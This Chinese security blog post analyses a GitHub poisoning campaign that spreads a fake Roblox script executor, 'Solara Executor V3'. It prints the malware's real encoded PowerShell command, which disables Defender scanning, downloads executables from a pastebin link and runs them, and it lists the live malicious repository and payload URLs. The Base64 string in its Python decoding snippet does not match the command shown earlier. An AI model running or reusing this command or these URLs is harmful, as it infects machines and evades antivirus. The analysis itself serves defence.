社区首页 >专栏 >GitHub 上的投毒攻击事件剖析

GitHub 上的投毒攻击事件剖析

Khan安全团队

发布于 2025-04-07 02:38:22

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代码可运行

文章被收录于专栏：Khan安全团队Khan安全团队

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代码可运行

Solara Executor 是一款针对 Roblox 平台的脚本执行器，宣称具备卓越的脚本执行能力、出色的性能以及简洁直观的操作界面，还强调与 Roblox 的最新版本完全兼容，为游戏玩家、开发人员和模组制作者提供高安全性与便捷性。然而，这款软件却被不法分子利用，在 GitHub 上实施投毒攻击。

攻击链路概述

本次攻击的具体流程涉及多个环节，从在 GitHub 上传播恶意文件，到执行恶意脚本，再到下载更多恶意程序并进行数据外联，形成了一条完整的恶意攻击链路。

GitHub 账号分析

多个涉及此次攻击的 GitHub 账号均于 2025 年 3 月 13 - 14 日新建，账号信息如下：

https://github.com/averhrs/SolaraExecutor-V3
https://github.com/provvsh/SolaraExecutor-V3
https://github.com/EightS09/SolaraExecutor-V3
https://github.com/verrtsh/SolaraExecutor-V3

这些账号创建时间集中且均为公开仓库，首次创建的项目均为 SolaraExecutor-V3，账号创建时间的异常集中暗示其存在恶意目的的可能性。

攻击详情

用户从 GitHub 上下载并运行 Solara V3.exe 后，会触发一段恶意的 PowerShell 脚本执行。该脚本通过 Loader.exe 进程调用 PowerShell 执行，具体执行命令为：

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand PAAjAGwAYgBnACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGwAcgBmACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAG0AZgBrACMAPgA7ACIAOwA8ACMAbQBxAHgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAHAAYQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBjAGYAYQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB5AGoAdAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AbQB1AEQAVQB1AGUATABOACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAcwBzAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB4AGoAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBrAHgAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcgB0AGsAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdwBtAHkAIwA+

对这段经过编码的 PowerShell 命令进行解密（使用 Python 代码实现）：

import base64
encoded_command = "PAAjAGwAYgBnACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBEAHIAaQB2AGUAKQAgADwAIwBjAGYAYQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB5AGoAdAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AbQB1AEQAVQB1AGUATABOACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAcwBzAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB4AGoAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBrAHgAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcgB0AGkAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdwBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGYAYQBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBmAGcAZgAjAD4A"
decoded_bytes = base64.b64decode(encoded_command)
decoded_command = decoded_bytes.decode('utf-16')
print(decoded_command)

解密后的脚本会执行以下恶意操作：首先创建一个System.Net.WebClient 对象，从指定的 URL（https://pastebin.com/raw/muDUeLN ）下载文本内容。接着，将下载的文本按换行符分割得到多个链接。然后生成一个随机文件名，通过循环遍历分割得到的链接，把每个链接指向的文件下载到用户应用数据目录下，下载的文件名由随机文件名、序号和.exe 扩展名组成。

其中，从链接（https://github.com/1tthens1/PMI/raw/rets/heads/main/DEVM26.exe）下载的 DEVM26.exe 文件，在本地运行后会自动注入内存数据。

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